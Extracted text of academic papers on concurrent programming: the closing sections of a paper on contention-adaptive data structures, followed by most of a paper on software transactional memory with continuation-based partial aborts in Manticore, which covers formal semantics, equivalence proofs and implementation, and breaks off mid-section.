 1.4

 1.6

 1.8

 2  4  6  8  10  12  14  16

M
e
d

ia
n
ti

m
e
 i
n
 s

e
co

n
d

s

Threads

Hybrid
Pure

Scalable

 0

 0.2

 0.4

 0.6

 0.8

 1

 1.2

 1.4

 1.6

 2  4  6  8  10  12  14  16

M
e
d

ia
n
ti

m
e
 i
n
 s

e
co

n
d

s

Threads

Hybrid
Pure

Scalable

Figure 12. Nested map-of-maps insertion benchmarks in Java;
time for 1M inserts. The top figure has hotRatio = 0.0, the middle
hotRatio = 0.5, and the bottom hotRatio = 1.0. All other points
interpolate smoothly between these three. Further, the benchmark
is insensitive to casTries until casTries = 10, at which point
Hybrid mimics the poor 2-thread behavior of Pure, because it does
not transition early enough.

[22]. Particularly related are elimination trees of Shavit and Touitou
[20] which, like our adaptive data, spread out accesses to additional,
dynamically created memory locations, preventing contention on a
single reference.

Compared with these previous approaches, our work combines
the two ideas—implementation swapping and action in response to
contention—to a new end: pure-to-scalable transitions.
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9. Future Work and Conclusions
Choosing between a lightweight persistent data structure and a
more complicated, but scalable, lock-free version shouldn’t be a
static decision. Indeed, in some scenarios, the optimal choice can-
not be made statically. We show that it is possible to gain the bene-
fits of both alternatives by transforming the data structure’s internal
representation in the event of contention. Furthermore, this strategy
is applicable in such disparate languages as Haskell and Java.

In this work we only support monotonic changes from pure
to scalable. In the future, we plan to explore reverse transitions
when contenion abates—data structures which can return to a pure
representation after ”coming to rest”—which would restore cheap
snapshots. Further, there are opportunities for applying elimination
trees together with pure-in-a-box data structures. These have the
potential to broadly improve concurrent programming in functional
languages.
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Abstract
Software transactional memory (STM) has proven to be a useful
abstraction for developing concurrent applications, where program-
mers denote transactions with an atomic construct that delimits
a collection of reads and writes to shared mutable references. The
runtime system then guarantees that all transactions are observed to
execute atomically with respect to each other. Traditionally, when
the runtime system detects that one transaction conflicts with an-
other, it aborts one of the transactions and restarts its execution
from the beginning. This can lead to problems with both execution
time and throughput.

In this paper, we present a novel approach that uses first-class
continuations to restart a conflicting transaction at the point of a
conflict, avoiding the re-execution of any work from the beginning
of the transaction that has not been compromised. In practice, this
allows transactions to complete more quickly, decreasing execution
time and increasing throughput. We have implemented this idea
in the context of the Manticore project, an ML-family language
with support for parallelism and concurrency. Crucially, we rely on
constant-time continuation capturing via a continuation-passing-
style (CPS) transformation and heap-allocated continuations. When
comparing our STM that performs partial aborts against one that
performs full aborts, we achieve a decrease in execution time of up
to 31% and an increase in throughput of up to 351%.

Categories and Subject Descriptors D.3.3 [Programming Lan-
guages]: Language Constructs and Features Concurrent program-
ming structures; D.3.4 [Programming Languages]: Processors
Run-time environments

General Terms Languages

Keywords Software Transactional Memory, First-Class Continu-
ations

1. Introduction
Software transactional memory (STM) [ST95, HM93] allows pro-
grammers to mark sections of code as transactional using an
atomic language construct (or using suitable library support). The
runtime system then guarantees that modifications of shared refer-
ences within transactions happen atomically with respect to other
concurrently running transactions. Using STM instead of other syn-

chronization methods such as mutex locks substantially simplifies
the development of concurrent applications, avoiding common pit-
falls such as deadlocks.

There are many different ways to enforce atomicity for STM.
In this work, we build on an algorithm that uses lazy versioning,
meaning that updates to shared references are not visible to other
threads until the end of the transaction. In this scheme, the runtime
system maintains a thread-local log recording which references
were read from and written to within a transaction. When a thread
writes to a reference, rather than modifying memory directly, it
creates a local copy of the reference and records the written value
on the copy. At the end of the transaction, the thread validates its
log and if no conflicts are detected, it commits all of the local copies
to the global store. If a conflict is detected, then it throws away the
log and restarts the transaction from the beginning.

One issue that is under active research is that of fairness. Con-
sider a situation where there are some threads executing long trans-
actions and other threads that are executing short transactions that
conflict with the long transactions. The threads executing the short
transactions will complete sooner, giving them a higher probabil-
ity of successfully validating and committing. These commits will
then invalidate the long running transactions causing them to fre-
quently abort. This issue has been addressed in the past by using
contention managers [SDMS09], but not without imposing signifi-
cant overheads.

In many compilers for functional languages, it is common to
perform a continuation-passing-style (CPS) transformation to en-
able further optimizations. Additionally, it has been shown that
continuations can be used to elegantly express concurrent program-
ming [Wan80, Shi97, RRX09] and serves as a fundamental compo-
nent of the Manticore scheduling infrastructure [FRR08]. In this
work we make use of first-class continuations to restore execution
of invalid transactions at the point of the first conflict, rather than
always resuming execution at the beginning of the transaction. In
practice, this avoids redundant work that has not been compromised
by another thread, allowing threads to complete more quickly and
increase throughput.

The idea of partially aborting transactions has been previously
attempted in the context of C [KH08]. However, in order to capture
a continuation in a non-CPS-converted language, the stack must be
copied, which has linear complexity in both space and time. This
makes capturing continuations at a fine granularity far too expen-
sive. In order to deal with this, they require the programmer to man-
ually insert “checkpoints,” where continuations are to be captured.
During the validation process, execution for aborted transactions
returns to the latest valid checkpoint in the transaction. Even with
manual checkpointing, the authors show a degradation in perfor-
mance on both benchmarks presented due to the high overhead of
stack copying.

When performing the CPS conversion of a program, each func-
tion is extended with an extra parameter called the return continua-
tion. When the function finishes, rather than returning to a previous
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context on the stack, it invokes the return continuation with its re-
sult. This return continuation is often thought of as “the rest of the
program,” as it contains everything that is to happen next. The sort
of checkpointing previously described can be implemented very ef-
ficiently by saving the return continuation when a transactional ref-
erence is read from and stored in the log. When a conflict is detected
during validation, the program state can then simply be restored by
invoking the continuation found in the log. What previously took
linear time and space in a direct style language can now be done in
constant time and space.

This paper makes the following contributions:

• We present an extension of the Transactional Locking II algo-
rithm, a modern, high performance STM algorithm, to partially-
abort transactions.
• We identify a significant overhead in garbage collection due to

live captured continuations and present a scheme to bound the
number of continuations held to a constant factor.
• We formalize the semantics of STM that performs partial aborts

and give a machine checked proof, using the Coq proof assis-
tant, that it yields equivalent final program states to a similar
implementation that performs full aborts.
• We present a detailed evaluation covering a number of standard

benchmarks common to the STM community. Results indicate
that the overhead of capturing continuations to support partial
aborts is negligible and can yield substantial performance im-
provements.

2. Baseline STM
We begin by describing the baseline full abort reference implemen-
tation that we later extend in Section 5. The full abort algorithm
that we compare against is based on the Transactional Locking II
(TL2) algorithm [DSS06]. TL2 is one of the top performing imple-
mentations of STM and is commonly used in evaluating new STM
algorithms [DR14, BBA15, ZHCB15]. The main novelty of TL2 is
its use of a global version clock for eagerly detecting conflicts and
ensuring atomicity. In this system, threads perform an atomic in-
crement of the global version clock at the beginning of each trans-
action. This version number is referred to as the read version for
the transaction and is used for detecting references that have been
altered since the start of the transaction. Additionally, each refer-
ence has a version number and a lock; the version number indicates
when the reference was last updated.

When a thread writes to a reference, it performs its write on a
thread local copy that it maintains in its write set. When reading
from a reference, the thread first consults its write set to check if it
has already made updates to the reference. If so, it reads the value
of its most recent update to the reference from its write set. If no
local copy exists, then it checks that the version number associated
with the reference is older than the read version it received at the
beginning of the transaction and that the reference’s lock is not
held. If these checks succeed, then it records the fact that it read
from the reference in its read set. If the version number associated
with the reference is newer than the read version or the reference’s
lock is held, then the log is discarded and the transaction is aborted
and restarted.

When committing a transaction, the thread first acquires the
locks associated with each reference that it wrote. If any locks
cannot be acquired, then the transaction is aborted in order to avoid
deadlock. After all locks are acquired, the read set is validated by
checking again that for each reference read, the version number
associated with the reference is older than the read version received
at the beginning of the transaction. If any are out of date, then the
write locks are released and the transaction is aborted. If the read

Values v ::= λx.e | ` | ()
Expressions e ::= v | x | e e | spawn e

| !e | e := e | tref e
| atomic e | inatomic(e)

Evaluation Context E ::= [·] | E e | v E
| !E | E := e | v := E | tref E
| inatomic(E)

Heap H ::= · | H, ` 7→ (v, S)
Thread Pool T ::= · | 〈t; e〉 | T ∪ T

Transaction Info t ::= · | 〈S;L; e〉
Log L ::= · | L, ` 7→w v | L, ` 7→r E

Version Numbers S,C ::= N

Figure 1. Syntax

set is successfully validated, then an atomic increment of the global
version clock is performed to retrieve a new version number that is
referred to as the write version for the transaction. Lastly, for each
local copy in the write set, the value is written to the corresponding
reference, the write version is written into the version number
associated with the reference, and the lock is released.

This approach has received much praise for its ability to provide
a strong guarantee known as opacity [GK08] at a very low perfor-
mance cost. Opacity is a property that was proposed for STM that
requires three conditions hold:

1. For each committed transaction, all operations must appear to
the rest of the system as if they were performed as one atomic
operation.

2. Threads can not observe any operation performed by an aborted
transaction.

3. Every transaction must always maintain a consistent view of
memory.

As an example of opacity at work, consider the following pro-
gram:

val get : ’a STM.tref -> ’a = STM.get
val atomic : (unit -> ’a) -> ’a = STM.atomic
fun trans() =
let val x = get tref1

val y = get tref1
in if x = y then () else infiniteLoop()
end

val _ = atomic trans

In this example, atomic takes a function of type unit -> ’a
that is run atomically and get returns the value of a tref. As
mentioned previously, every time a read is performed, the thread
checks that the version associated with the tref is older than the
version number it received at the start of its transaction. If not,
then the transaction is aborted. If this check were not performed,
then it is possible that in the above example, tref1 is modified
in between the two reads, changing its value, and causing this to
go into an infinite loop. However, with eager conflict detection, a
conflict would be detected at the second read, and the transaction
would be aborted. By enforcing opacity, users are given a much
more intuitive notion of atomicity with which to work.

3. Semantics
We extend the baseline full abort algorithm with the ability to par-
tially abort transactions by resuming execution at the point of a
conflict, rather than always resuming execution at the beginning of
the transaction. We first present a formal semantics of our exten-
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C;H;T →x C
′;H′;T ′ x ∈ {full, partial, replay}

C;H;T1 →x C′;H′;T ′1

C;H;T1 ∪ T2 →x C′;H′;T ′1 ∪ T2
PARL

C;H;T2 →x C′;H′;T ′2

C;H;T1 ∪ T2 →x C′;H′;T1 ∪ T ′2
PARR

C;H; 〈·; E[spawn e]〉 →x C;H; 〈·; E[()]〉 ∪ 〈·; e〉 SPAWN
C;H; 〈t; E[(λx.e) v]〉 →x C;H; 〈t; E[e[x 7→ v]]〉 BETA

` /∈ Dom(L|w) H(`) = (v, S′) S′ < S

C;H; 〈〈S;L; e0〉; E[!`]〉 →x C;H; 〈〈S;L, ` 7→r E; e0〉; E[v]〉
READG

L|w(`) = v

C;H; 〈〈S;L; e0〉; E[!`]〉 →x C;H; 〈〈S;L; e0〉; E[v]〉
READL

C;H; 〈〈S;L; e0〉; E[` := v]〉 →x C;H; 〈〈S;L, ` 7→w v; e0〉; E[()]〉
WRITE

` /∈ Dom(H)

C;H; 〈·; E[tref v]〉 →x C;H, ` 7→ (v, C); 〈·; E[`]〉 ALLOC

e0 = E[inatomic(e)]
C;H; 〈·; E[atomic e]〉 →x C + 1;H; 〈〈C; ·; e0〉; e0〉

ATOMIC
C;H; 〈〈S;L; e0〉; E[atomic e]〉 →x C;H; 〈〈S;L; e0〉; E[e]〉

NATOMIC

validate(S;L;H;C) commit(H′)
C;H; 〈〈S;L; e0〉; E[inatomic(v)]〉 →x C + 1;H′; 〈·; E[v]〉

COMMIT

Figure 2. Operational Semantics (→x: common rules)

sion and then give a detailed description of the implementation in
Section 5.

3.1 Syntax
Figure 1 gives the syntax of the language. Values include lambda
expressions, transactional reference locations, and the unit value.
Expressions include values, variables, function application, trans-
actional dereference, update, allocation, spawning threads, and
atomic sections. Note that the inatomic expression form is an inter-
mediate form denoting a running transaction and is not part of the
surface language. Evaluation contexts are entirely conventional.

A heap is a mapping of transactional reference locations to val-
ues paired with a version number; we do not explicitly model a
transactional reference’s lock in the semantics. A thread pool is
a collection of threads, where each thread maintains some trans-
actional info. The transactional info can either be empty (denoted
by ·), if the thread is not currently in a transaction, or be a triple
containing the read version, a log, and the initial expression that the
transaction is executing. Note that the initial expression is not used
for the partial abort semantics, but is used for the full abort seman-
tics. A transactional log contains two kinds of mappings, one which
maps locations to values that were written, and one that maps loca-
tions to evaluation contexts indicating where to resume execution
if the location read from is found to be invalid.

3.2 Partial Abort Operational Semantics
In order to prove the correctness of performing partial aborts, we
relate our partial abort semantics to the original full abort baseline
semantics. Many rules are shared by the partial abort semantics
and the full abort semantics (and an auxiliary replay semantics to
be introduced in Section 3.4), so we have factored out all of the
common rules to a generic judgement denoted by→x, where x is
then instantiated by “full”, “partial”, or “replay”.

The small-step operational semantics transitions one program
state to another, where a program state consists of a monotonically
increasing version clock, a heap, and a thread pool. A source
program e starts with the version clock set to 0, the empty heap,
and a single thread 〈·; e〉. A terminal program state consists of only
threads that have finished evaluating their expressions to values.

Rules PARL and PARR are used to nondeterministically choose
a thread to execute. The SPAWN rule is used to create a new

thread, where the newly created thread evaluates the expression
given to spawn. In order to simplify the semantics, we do not allow
threads to be created inside transactions. The BETA rule is used
for applying a function, where e[x 7→ v] is the capture-avoiding
substitution of v for x in e.

The READG rule is used for reading from a tref in the global
heap that does not exist in the thread’s write set, where L|w is
the log restricted to the write mappings. The location of the tref
is looked up in the heap, yielding the value and version number
associated with the location. This rule additionally requires that
the version number associated with the location (S′) is older (less
than) than the thread’s read version (S), which enforces part of the
opacity property described in Section 2. In the conclusion of the
rule, we create a read mapping in the thread’s log from the location
read to the current evaluation context. The READL rule simply
returns the value found when looking up the location in the thread’s
log.

The WRITE rule records a write to a tref in the log, shadowing
any previous write mappings of the location in the log. The ALLOC
rule creates a new reference, which can only be performed outside
of a transaction. In the implementation, this restriction is not in
place; however, this substantially simplifies the proof of equiva-
lence discussed later.

The ATOMIC rule begins a transaction by grabbing a new read
version from the global clock and transitioning into the inatomic
intermediate form with transactional info initialized with the read
version, an empty log, and the initial intermediate form. In our
semantics, we do not allow nested transactions, so we treat them
as idempotent (the NATOMIC rule). As noted in [KH08], partial
aborts can be used to capture many common nested transaction
idioms.

The COMMIT rule is used to commit a transaction. This rule re-
lies on the validate judgement given in Figure 4; for now it suffices
to know that if validate applied to a logL yields commit(H ′), then
the log could be validated in the current program state andH ′ is the
global heap with all locally written trefs committed. The COMMIT
rule requires that validate yields a commit and then continues with
the current heap replaced by the one returned by validation.

The →partial relation (Figure 3) describes the extension spe-
cific to performing partial aborts and simply requires the addi-
tion of two rules that also rely on the validate judgement. The
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C;H;T →partial C
′;H ′;T ′

validate(S;L;H;C) abort(L′; E ′; `′)
C;H; 〈〈S;L; e0〉; e〉 →partial C + 1;H; 〈〈C;L′; e0〉; E ′[!`′]〉

ABORT PARTIAL

` /∈ Dom(L|w) H(`) = (v, S′) S′ > S validate(S;L, ` 7→r E ;H;C) abort(L′; E ′; `′)
C;H; 〈〈S;L; e0〉; E [!`]〉 →partial C + 1;H; 〈〈C;L′; e0〉; E ′[!`′]〉

READG PARTIAL

Figure 3. Operational Semantics (→partial: partial abort rules)

validate(S;L;H;C) commit(H′) | abort(L′; E ′; `′)

validate(S; ·;H;C) commit(H)
CEMPTY

validate(S;L;H;C) abort(L′; E ′; `′)
validate(S;L, ` 7→w v;H;C) abort(L′; E ′; `′)

APWRITE
validate(S;L;H;C) abort(L′; E ′; `′)

validate(S;L, ` 7→r E;H;C) abort(L′; E ′; `′)
APREAD

validate(S;L;H;C) commit(H′)
validate(S;L, ` 7→w v;H;C) commit(H′, ` 7→ (v, C))

CPWRITE
validate(S;L;H;C) commit(H′) H(`) = (v, S′) S′ < S

validate(S;L, ` 7→r E;H;C) commit(H′)
CPREAD

validate(S;L;H;C) commit(H′) H(`) = (v, S′) S′ > S

validate(S;L, ` 7→r E;H;C) abort(L; E; `) AREAD

Figure 4. Transactional Log Validation

ABORT PARTIAL rule is used to partially abort a transaction. If
validate applied to a log L yields abort(L′; E ′; `′), then the log
could not be fully validated in the current program state due to a
conflict, L′ is the prefix of the log that could be validated, and E ′ is
the continuation of the read of location `′ at which the conflict oc-
curred. The ABORT PARTIAL rule requires that validate yields an
abort and then continues with a new read version retrieved from the
global clock, the partially validated log, and the continuation ap-
plied to the read of the location. Note that the ABORT PARTIAL
rule is not syntax directed; rather, it can be applied nondetermin-
istically at any time that the log cannot be fully validated. In prac-
tice, the ABORT PARTIAL rule is applied when the transaction
has completed and the COMMIT rule does not apply.

The READG PARTIAL rule is used for eagerly detected con-
flicts. One might expect that the ABORT PARTIAL rule suffices to
capture the semantics of our full abort algorithm, where an eager
abort would correspond to the inapplicability of the READG rule
and, instead, applying ABORT PARTIAL. However, it is possible
for a thread to attempt to read a tref that was updated after it started
its transaction while also having a fully valid log (e.g., when the
log is empty and the first read is of a newly updated tref). Since the
whole log is valid, the ABORT PARTIAL rule is not applicable. In
the READG PARTIAL rule, we validate the log extended with a
mapping for this attempted read of the out-of-date tref, guarantee-
ing that validation will discover a point of conflict and abort.

3.3 Log Validation
Figure 4 gives the rules for validating a transactional log. This
judgement relates a 4-tuple containing a thread’s read version, its
log, the global heap, and a write version to be written into com-
mitted trefs, to a result indicating whether validation succeeded or
failed. If any read tref in the log is out of date, validation fails, yield-
ing the log prior to the invalid read and the continuation and loca-
tion of the invalid read. If validation succeeds, then validate yields
a new heap containing all of the local tref writes in the log commit-

ted to the global heap. Note that the log is validated in chronologi-
cal order; this ensures that if multiple conflicts are detected, the log,
continuation, and location correspond to the earliest conflict that
occurred, which is essential for the correctness of our algorithm.

The CEMPTY rule indicates that the empty log can trivially be
validated. The APWRITE and APREAD rules propagate an abort
through a write or read mapping in the log: if validation failed on
an earlier operation in the log, then the entire validation process
aborts; note that this propagates the earliest conflict information.
The CPWRITE rule propagates a commit through a write mapping,
by extending the committed global heap with a binding from the
location to the written value and the write version; note that if a
log records multiple updates to the same tref, then the latest one
will shadow all earlier ones in the final committed global heap.
The CPREAD rule propagates a commit through a valid read by
requiring that the write version associated with the read tref in the
current global heap is still older (less than) than the thread’s read
version. Finally, the AREAD rule initiates an abort at an invalid
read when the write version associated with the read tref in the
current global heap is newer (greater than) than the thread’s read
version; an abort result is returned with the portion of the log prior
to the invalid read, the continuation of the invalid read, and the
location of the invalid read.

3.4 Equivalence
The correctness of the full abort algorithm has been proven in pre-
vious work [KPH10]. In this paper, we simply prove that perform-
ing partial aborts yields the same final program states as perform-
ing full aborts and use this equivalence to deduce the correctness
of our extension. The semantics for the full abort algorithm con-
sists of the common rules (→x) and two additional→full rules (Fig-
ure 5. The ABORT FULL rule is used to fully abort a transaction.
Rather than making use of the log, continuation, and location re-
turned from validation, execution proceeds with an empty log and
the initial expression recorded at the beginning of the transaction.
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C;H;T →full C
′;H ′;T ′

validate(S;L;H;C) abort(L′; E ′; `′)
C;H; 〈〈S;L; e0〉; e〉 →full C + 1;H; 〈〈C; ·; e0〉; e0〉

ABORT FULL

` /∈ Dom(L|w) H(`) = (v, S′) S′ > S validate(S;L, ` 7→r E ;H;C) abort(L′; E ′; `′)
C;H; 〈〈S;L; e0〉; E [!`]〉 →full C + 1;H; 〈〈C; ·; e0〉; e0〉

READG FULL

Figure 5. Operational Semantics (→full: full abort rules)

C;H;T →replay C
′;H ′;T ′

` /∈ Dom(L|w) H(`) = (v, S′) S′ > S

C;H; 〈〈S;L; e0〉; E [!`]〉 →replay C;H; 〈〈S;L, ` 7→r E ; e0〉; E [v′]〉
READG REPLAY

Figure 6. Operational Semantics (→replay: replay relation)

WellFormed(C;H; 〈·; e〉)

C;H; 〈〈S; ·; e0〉; e0〉 →∗replay C;H; 〈〈S;L; e0〉; e〉
WellFormed(C;H; 〈〈S;L; e0〉; e〉)

WellFormed(C;H;T1) WellFormed(C;H;T2)

WellFormed(C;H;T1 ∪ T2)

Figure 7. Thread Pool WellFormed Judgement

The READG FULL rule is used for eagerly detecting conflicts sim-
ilar to READG PARTIAL except that a full abort takes place and
there is no need for validation.

In order to show that our partial abort extension has the same
desirable properties as the full abort algorithm, we prove the fol-
lowing theorem:

Theorem 1 (Equivalence). ∀e C H T , if Done(T ),
then 0; ·; 〈·; e〉 →∗partial C;H;T iff 0; ·; 〈·; e〉 →∗full C;H;T .

where Done(T ) specifies that every thread in T is not in a trans-
action and has evaluated its expression to a final value. The proof
proceeds by proving the two directions of the if and only if.

First, we give a well-formedness judgement in Figure 7. This
essentially says that for each thread currently in a transaction,
the transaction can be re-executed from the beginning to its
current state using a “replay” semantics, which consists of the
common rules (→x) and one additional →replay rule (Figure 6).
The READG REPLAY rule is very similar to the READG rule
except that the read is of an out-of-date tref; in this case, we allow
the thread to continue with a value that has been “pulled out of thin
air” (although, to be used in a derivation of the well-formedness
judgement, the READG REPLAY rule will necessarily choose the
value of the read found in the log of the thread state that it is trying
to recreate). This rule makes it easy to show that well-formedness
is preserved by the partial abort step relation (→partial); in particular,
when one thread commits via the COMMIT rule, other threads’
logs may become invalid due to the updates to the global heap,
yet they remain replay-able via the READG REPLAY rule. With
the WellFormed judgement, we can prove the forward direction of
Theorem 1 using the following theorem:

AheadOf(C;H; 〈·; e〉; 〈·; e〉)

C;H; 〈〈S;L; e0〉; e〉 →∗replay C;H; 〈〈S;L′; e0〉; e′〉
AheadOf(C;H; 〈〈S;L; e0〉; e〉; 〈〈S;L′; e0〉; e′〉)

AheadOf(C;H;Tf1;Tp1) AheadOf(C;H;Tf2;Tp2)

AheadOf(C;H;Tf1 ∪ Tf2;Tp1 ∪ Tp2)

Figure 8. Thread Pool AheadOf Judgement

Theorem 2 (Partial Implies Full). ∀C C′ H H ′ T T ′,
if WellFormed(C;H;T ) and C;H;T →∗partial C

′;H ′;T ′,
then C;H;T →∗full C

′;H ′;T ′.

Proof Sketch. By induction on the derivation of
C;H;T →∗partial C

′;H ′;T ′ and case analysis of the last →partial
step taken. The only interesting cases are the ABORT PARTIAL
and READG PARTIAL rules. In these cases, partial abort steps
to the thread state returned from the validate judgement and full
abort steps to the initial expression recorded at the beginning of
the transaction. We need to show that full abort can “catch up”
to partial abort, which can be done by simulating the derivation
provided by well-formedness. Note that the replay of the aborted
thread does not require the READG REPLAY rule, since the
partially-aborted thread has been restarted with a valid log.

The other direction of the proof is slightly trickier. The problem
is that we need to show that if a full abort takes place, then there
is an equivalent partial abort step. Basically, we need a way of
specifying that the partial abort program state is “in the future
of” the full abort program state. To do so, we give an “ahead-of”
judgement in Figure 8 that relates two thread pools. The AheadOf
relation specifies that a transactional thread in one pool is related
to a corresponding transactional thread in the other pool if the first
thread can “catch up” to the second thread using the replay step
relation (→replay) and specifies that a non-transactional thread is
only related to an identical non-transactional thread. Therefore, if
AheadOf(C;H;Tf;Tp) and Tf is either the initial program state or
a final program state, then it must be the case that Tp = Tf. With
the AheadOf judgement, we can prove the backward direction of
Theorem 1 using the following theorem:
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Theorem 3 (Full Implies Partial). ∀C C′ H H ′ Tp T
′
p Tf T

′
f ,

if AheadOf(C;H;Tf ;Tp) and C;H;Tf →∗full C
′;H ′;T ′f ,

then C;H;Tp →∗partial C
′;H ′;T ′p and AheadOf(C′;H ′;T ′f ;T

′
p).

Proof Sketch. By induction on C;H;Tf →∗full C
′;H ′;T ′f

and case analysis of the last →full step taken. The most
interesting case is the COMMIT rule. In this case, we
know that the full abort thread is ready to commit,
so it must be of the form 〈〈S;L; e0〉; E [inatomic(v)]〉.
From AheadOf(C;H; 〈〈S;L; e0〉; E [inatomic(v)]〉;Tp),
we know that Tp is of the form: 〈〈S;L′; e0〉; e′〉 and
C;H; 〈〈S;L; e0〉; E [inatomic(v)]〉 →∗replay C;H; 〈〈S;L′; e0〉; e′〉,
but there is no way for this thread to take a step while re-
maining in the transaction, since it has finished evaluating
its expression to a value. Therefore, it must be the case that
Tp = 〈〈S;L; e0〉; E [inatomic(v)]〉, allowing it to also commit in
the partial abort semantics.

Note that many cases and supporting lemmas are left out for
brevity and that the proof sketches provided are only meant to
give the reader a high level intuition as to how the details of
the proof fit together. Full details about the proof can be found
in the Coq formalization at http://www.cs.rit.edu/˜ml9951/

icfp15-coq-proofs.tar.

4. Manticore
We have implemented our partial-abort extension in the context of
the Manticore project [FFR+07]. Manticore is an effort to design
and implement a functional programming language with support
for parallelism and concurrency. It consists of: the Parallel ML
(PML) language, a parallel dialect of Standard ML [MTHM97]
extended with implicit fine-grain parallelism [FRRS11] and with
explicit CML-style concurrency [Rep99, RRX09]; the pmlc com-
piler, a whole-program compiler from PML source to native x86-
64 (a.k.a., AMD64) code; and the Manticore runtime system,
which provides memory management, process abstraction, thread
scheduling, work stealing, and message passing. In this section, we
highlight a few details about the compiler and runtime system that
are relevant to the implementation of partial-abort transactions in
Manticore.

4.1 Compiler Architecture
The pmlc compiler is a whole-program compiler and has the
standard organization as a sequence of transformations between
and optimizations of various intermediate representations (IRs).
There are six distinct IRs in the pmlc compiler:

1. Parse tree - the result of parsing

2. AST - an explicitly-typed abstract syntax tree representation,
produced by type checking

3. BOM - a direct-style normalized λ-calculus

4. CPS - a continuation-passing-style λ-calculus

5. CFG - a first-order control-flow graph representation

6. MLTree - an expression-tree representation used by the ML-
RISC code-generation framework [GGR94]

4.1.1 BOM
The BOM IR plays a key role in the implementation of the Manti-
core runtime system. Although a small runtime kernel that imple-
ments garbage collection (see Section 4.2) and various machine-
level scheduler operations is written in C, the majority of the
Manticore runtime system, including the scheduling infrastructure
[FRR08] and the STM implementation of this work, is written in

(an unnormalized, external, concrete sytax for) BOM.1 In order
to compile a program, the pmlc compiler loads both PML source
code written by the user and BOM runtime code written by the de-
velopers. By defining much of the runtime system in external files
in BOM, it is easy to modify the implementation of many aspects
of the runtime system in an expressive language with higher-order
functions, pattern matching, and garbage collection. Furthermore,
since BOM is a compiler IR, the user application code and the run-
time system code can be combined and optimized together.

The BOM IR has several notable features:

• It supports first-class continuations with a binding form that
reifies the current continuation. First-class continuations are a
well-known language-level mechanism for expressing concur-
rency [Wan80, HFW84, Rep89, Ram90, Shi97, Rep99]; they
serve as the foundation for the Manticore scheduling infrastruc-
ture [FRR08] and are used in this work for efficiently perform-
ing partial aborts of transactions.
• It supports mutable tuples, whereby individual fields of the

tuple may be mutated in place. (In PML, tuples are immutable
and mutable references necessarily incur a level of indirection.)
• It includes atomic operations, such as compare-and-swap.

4.1.2 CPS, CFG, and Heap-Allocated Continuations
The CPS IR is the final higher-order representation used in the
compiler. For the translation from the BOM IR to the CPS IR,
the Danvy-Filinski CPS transformation [DF92] is used, but the
implementation is simplified by the fact that BOM is a normal-
ized direct-style representation. The translation from direct style to
continuation-passing style eliminates the special handling of con-
tinuations, so that capturing a continuation is effectively a variable-
variable copy and subject to copy propagation, and makes control
flow explicit. Using higher-order control-flow analysis, we perform
a number of further optimizations on the CPS IR program, such as
arity-raising [BR09] and aggressive inlining [BFL+14].

The CPS IR is translated to the CFG IR, a first-order control-
flow-graph representation, by applying closure conversion. The
transformation also handles the heap allocation of first-class con-
tinuations à la SML/NJ [App92]. Although heap-allocated con-
tinuations impose some extra overhead for sequential execution,
due to a high allocation rate of short-lived data and more frequent
garbage collections, they provide a number of advantages:

• Creating/capturing a continuation just requires the heap alloca-
tion of a small (< 100 bytes) object, so it is fast and imposes
little space overhead.
• Since continuations are immutable values, many nasty race

conditions in the scheduler can be avoided.
• Heap-allocated first-class continuations do not have the lifetime

limitations of one-shot [BWD96] and escaping [RP00, FR02]
continuations, which is essential for the work presented here.

4.2 Garbage Collection and Heap Architecture
The Manticore garbage collector is based on a novel combination
of the Doligez-Leroy-Gonthier (DLG) parallel collector [DL93,
DG94] and the Appel semi-generational collector [App89] and
is described more fully in previous work [ABFR11]. From the
DLG collector, we adopt an overall heap architecture with both
a private local heap for each virtual processor (an abstraction of
a hardware processor) and a global heap shared by all virtual

1 Technically, the pmlc compiler allows inline BOM, similar in spirit to
inline assembly, to be embedded in PML source files; this is the mechanism
by which features implemented in BOM are made available in the surface
language.
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processors; the Appel collector is used to garbage collect the local
heaps. Threads executing on a virtual processor allocate new data
in the virtual processor’s local heap. When the local heap is full, a
minor collection is performed and, if necessary, a major collection
promotes live data from the local heap to the global heap. So that
minor and major collections of a virtual processor can be completed
without synchronizing with other virtual processors to establish a
root set, we adopt two invariants from the DLG collector: first,
there cannot be any pointers from the global heap into any local
heap, and, second, there cannot be any pointers from one local heap
into another local heap. In order to maintain these invariants, it is
occasionally necessary to explicitly promote newly allocated data
to the global heap in order to pass a reference to the data to another
virtual processor or to update a mutable object in the global heap
to reference the data.

5. Implementation
The STM library is implemented in the BOM IR, which as previ-
ously mentioned includes mutable references and first-class contin-
uations. This substantially simplifies the implementation, requiring
less than 400 lines of code and zero modifications to the compiler or
runtime kernel. Source code for our implementation can be found
at http://manticore.cs.uchicago.edu.

In BOM, a tref can be represented as:

type ’a tref = !(’a * long * long)

where the ! indicates that the type is a mutable tuple. The first
element of the tuple is for the contents of the tvar that are read from
and written to by the programmer. The second element is for the
version number of the tref and the last element serves as a lock for
the tref. A tref is locked by writing the thread’s read version into the
tref; a thread can use the lock value to determine if it has already
acquired a given lock.

Each thread maintains three pieces of information within its
thread local storage: a read version, a write set, and a read set. When
a thread begins executing a transaction, it acquires the read version
from the global clock.

5.1 Writes
Writing to a tref is the simplest operation. Each time a tref is
written, an entry is added to the write set that records both the tref
being written to and the value being written. Note that we do not
perform destructive updates in the write set when the same tref is
written to more than once during the transaction. This is necessary
to properly restore the state of the write set when performing partial
aborts (see Section 5.4).

5.2 Reads
Each time a tref is read, the write set is first consulted to determine
if the tref has been written to during the transaction; if so, then the
value of the most recent entry for the tref in the write set is returned.
If there is no entry for the tref in the write set, then the tref is
checked for validity, by comparing the version number associated
with the tref to the thread’s read version. If the tref is valid, then
an entry is added to the read set that records the tref being read,
the current continuation, and a pointer to the current write set as
depicted in Figure 9. If the tref is out of date, then we acquire a
version number from the global clock and validate the read set as
described in Section 5.4, which will determine if a partial abort is
necessary.

5.3 Commit
When committing a transaction, a thread first acquires the lock for
every tref recorded in the write set. Next, a write version is acquired
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Figure 9. Layout of Read/Write sets

from the global clock and the read set is validated as described in
the next section. If any part of the read set is invalid with respect
to the read version, then an abort occurs and returns execution to
the point of conflict. If validation succeeds, then for each tref in
the write set, we write the recorded value into the tref, update the
version number associated with the tref to the write version, and
release the tref lock.

5.4 Read Set Validation
When validating the read set, whether after detecting an eager
conflict or during a commit, the validation is performed with
respect to the thread’s read version. During the tail-recursive
traversal of the read set, we maintain a checkpoint parameter
of type: (’a tref * ’a cont * read_set) option,
where NONE corresponds to having seen no out of date tref. If a
tref is found to be out of date, then we update the checkpoint pa-
rameter to SOME(tr, k, rs), where tr, k, and rs are the tref
read from, the continuation captured at the read, and the remaining
read set respectively. We then traverse the remaining portion of the
